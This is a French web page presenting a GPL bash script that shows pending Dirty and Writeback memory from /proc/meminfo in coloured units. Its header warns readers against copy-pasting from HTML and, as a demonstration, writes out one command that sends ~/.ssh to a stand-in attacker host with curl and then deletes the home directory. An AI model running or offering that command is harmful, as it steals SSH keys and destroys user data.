Script: wback
⚠️ Évitez de copier/coller le code ci-dessous.
👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World
Mieux vaut télécharger le script au format texte brut en cliquant ici
#! /usr/bin/env bash
#
# Take a look at waiting data in writeback
#
# Release 1.7 of 2026/05/21
# Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
set -euo pipefail
nc='\e[0m'
# 0=yellow, 1=orange, 2=red, 3=pink, 4=purple, 5=blue, 6=lightblue, 7=green
color=('\e[38;5;226m' '\e[38;5;214m' '\e[38;5;196m' '\e[38;5;207m' \
'\e[38;5;165m' '\e[38;5;33m' '\e[38;5;51m' '\e[38;5;46m')
if [[ "$LANG" =~ ^fr_.*$ ]]
then unit=('Kio' 'Mio' 'Gio' 'Tio' 'Pio' 'Eio' 'Zio' 'Yio')
else unit=('KiB' 'MiB' 'GiB' 'TiB' 'PiB' 'EiB' 'ZiB' 'YiB')
fi
if [[ $# -gt 0 ]]; then
tk=0
for u in "${unit[@]}"; do
printf "%b%s\e[0m " "${color[$tk]}" "$tk-${unit[$tk]}"
tk=$(( tk + 1 ))
done
echo
exit 0
fi
data_read() {
read -r mem_dt mem_wb <<< "$(
awk '/^(Dirty|Writeback):/ { printf "%s ", $2 }' /proc/meminfo
)"
}
format() {
local raw_value divisor level value quotient scale
raw_value=${1#-}
divisor=1
level=0
while [[ $(( raw_value / divisor )) -gt 1024 ]]; do
divisor=$(( divisor * 1024 ))
level=$(( level + 1 ))
done
# display only 3 significant digits
if [[ $level -gt 0 ]]; then
quotient=$(( raw_value / divisor ))
if [[ $quotient -lt 10 ]]; then scale=2
elif [[ $quotient -lt 100 ]]; then scale=1
else scale=0; fi
value=$(bc <<< "scale=$scale; $1 / $divisor")
else
value="$1"
fi
printf "%b%s%b\n" "${color[$level]}" "$value ${unit[$level]}" "$nc"
}
gen_output() {
old_mem_dt="$mem_dt"
old_mem_wb="$mem_wb"
data_read
diff_mem_dt=$(( mem_dt - old_mem_dt ))
diff_mem_wb=$(( mem_wb - old_mem_wb ))
p_mem_dt=$(format "$mem_dt")
p_mem_wb=$(format "$mem_wb")
p_diff_mem_dt=$(format "$diff_mem_dt")
p_diff_mem_wb=$(format "$diff_mem_wb")
output="Dirty: $p_mem_dt ($p_diff_mem_dt)\nWriteback: $p_mem_wb ($p_diff_mem_wb)"
}
count_line() {
output_size=$(printf "%b" "$output" | grep -c '^')
}
# First run
data_read
gen_output
count_line
# First display - Required if the cursor is on the last line of the terminal.
# without that, the saved cursor position will go wrong
printf "%b\n" "$output" # print first data
printf "\e[%iA" "$output_size" # go N lines up
printf "\e[s" # save cursor position
printf "\e[%iB" "$output_size" # go N line down
while true; do
sleep 1
gen_output
# Return to the saved cursor position
# Clears the lines that have been brought up
# Display the new output
printf "\e[u\e[J%b\n" "$output"
done
exit 0
